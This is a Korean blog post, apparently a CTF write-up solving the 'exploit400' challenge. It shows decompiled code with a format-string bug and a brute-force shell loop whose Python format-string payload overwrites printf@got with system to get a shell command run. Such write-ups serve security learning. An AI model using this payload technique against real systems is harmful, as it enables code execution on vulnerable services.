티스토리 뷰
푸는데 5시간 정도 걸린 문제. 분명 그렇게 오래 걸리면 안될 쉬운 문제인데
삽질 + 불운 + 귀찮음 덕분에 굉장히 많이 걸렸다..
1 2 3 4 5 6 7 8 9 | # file exploit400 exploit400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x105e30fbeade2b06f9d82a9ff924871db71cae3c, stripped # checksec --file ./exploit400 RELRO STACK CANARY NX PIE RPATH No RELRO Canary found NX enabled No PIE No RPATH | cs |
[+] ASLR + Canary + NX-Bit가 걸려있음.
그런데 이 문제의 정보가 별로 없어서 ASLR이 걸려있는지는 모르겠음
하지만 400점이나 되기 때문에 걸려있다고 생각하여 ASLR도 켠 상태에서 진행.
[+] fork()함수를 쓰지 않고 xinetd로 구동하기 때문에 그냥 Local에서 풀었음.
exploit을 만드려고 했지만 local에서 푸는거라 딱히 필요없다고 생각,
그냥 인라인 스크립트로 짜서 풀었음.
1 2 3 4 5 6 7 8 9 | push eax push esp push edx push offset nullsub_1 push offset sub_8048580 push ecx push esi push offset main call ___libc_start_main | cs |
stripped된 바이너리기 때문에 ___libc_start_main을 콜하기 바로 전에
push되는 인자가 main함수임.
1 2 3 4 5 6 7 8 9 10 11 12 13 | void __cdecl main() { int select; while ( 1 ) { scanf("%d", &select); if ( select ) FormatStringBug(); else BufferOverFlow(); } } | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int __cdecl FormatStringBug() { int result; // eax@1 char format; // [sp+1Ch] [bp-10Ch]@1 int canary; // [sp+11Ch] [bp-Ch]@1 canary = *MK_FP(__GS__, 20); scanf("%s", &format); printf(&format); result = *MK_FP(__GS__, 20) ^ canary; if ( *MK_FP(__GS__, 20) != canary ) __stack_chk_fail(); return result; } | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int __cdecl BufferOverFlow() { int result; // eax@1 char inputSTR; // [sp+1Ch] [bp-20Ch]@1 int canary; // [sp+21Ch] [bp-Ch]@1 canary = *MK_FP(__GS__, 20); scanf("%s", &inputSTR); BOF_Child(&inputSTR); result = *MK_FP(__GS__, 20) ^ canary; if ( *MK_FP(__GS__, 20) != canary ) __stack_chk_fail(); return result; } | cs |
처음 select변수의 값에 따라 각각 FSB가 일어나는 함수와 BOF가 일어나는 함수를
선택하여 Exploit을 시도 할 수 있음.
FSB를 잘 못해서 BOF로 하려 했으나 fork()가 안 돼있는 상태에서 Canary를 우회하는 방법을
모르기 때문에 어쩔 수 없이 FSB로 풀어봄.
일단 printf@got를 system함수로 덮어쓰면 그 다음에 우리가 준 문자열이
인자로 들어가기 때문에 쉽게 flag를 획득 할 수 있음.
그런데 문제는 어떻게 system()함수를 실행하냐는 것.
libc의 주소도 계속 랜덤화 될 것이고 그 폭도 조금 큼.
그래서 BruteForcing을 하기로 함. 랜덤화 되는 것중 가장 빈도가 높은
주소를 선택하여 printf@got를 덮어쓰게 하면 flag획득 가능.
1 2 3 4 5 6 7 | 18 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7579000) 18 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7592000) 18 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e2000) 18 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e7000) 18 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761a000) 19 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7541000) 19 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a7000) | cs |
우리가 사용할 Base Address는 0xb75a7000 이고
system함수의 offset은 objdump로 확인 가능
1 2 3 4 5 | $ !objdump objdump -d /lib/i386-linux-gnu/libc.so.6 | grep system .. 000403b0 <__libc_system>: 403c5: 74 09 je 403d0 <__libc_system+0x20> | cs |
offset은 0x403b0이기 때문에 system@libc의 주소는 0xb75e73b0임.
그리고 FSB를 이용하여 printf@got에 덮어씌우기만 하면 됨.
이 부분은 BruteForcing 기법을 이용. 시간은 조금 많이 걸림 (2천번 중 19번의 확률이니 1/100)
1 2 3 4 5 6 7 8 9 10 11 | $ while [ 1 ] ; do (python -c 'print "\xb0\x98\x04\x08" * 2 + "\xb2\x98\x04\x08" * 2 + "%8x" * 6 + "%29552c%n" + "%17326c%n\n" + "./flag\n"') | ./exploit400 1>/dev/null ; done ... ./flag: 1: ./flag: Where_Is_The_WriteUps: not found ./flag: 1: ./flag: Where_Is_The_WriteUps: not found ./flag: 1: ./flag: Where_Is_The_WriteUps: not found ./flag: 1: ./flag: Where_Is_The_WriteUps: not found ... | cs |
1 | flag is {Where_Is_The_WriteUps} | cs |
[+] 문제 풀고 나서 WriteUp을 찾아봤는데 하나도 없음..
예선 문제라서 없는건가?
BOF로 푼 거 보고 싶다..
[+] 방금 안건데 왜 flag에 x권한을 할당해 놨지?;;
./flag가 아니라 `<flag`로 해야 됨
# `<flag`
Where_Is_The_WriteUps: 명령을 찾을 수 없습니다
'Pwnable > CTF' 카테고리의 다른 글
CodeGate Junior 2014 [lotto] (0) | 2015.02.15 |
---|---|
GITS2012 [Pwnable 200] (0) | 2015.01.30 |
Volga CTF 2014 [exploit 300] (0) | 2015.01.29 |
Volga CTF 2014 [exploit 100] (0) | 2015.01.28 |
CSAW 2012 [Challenge1] (0) | 2015.01.23 |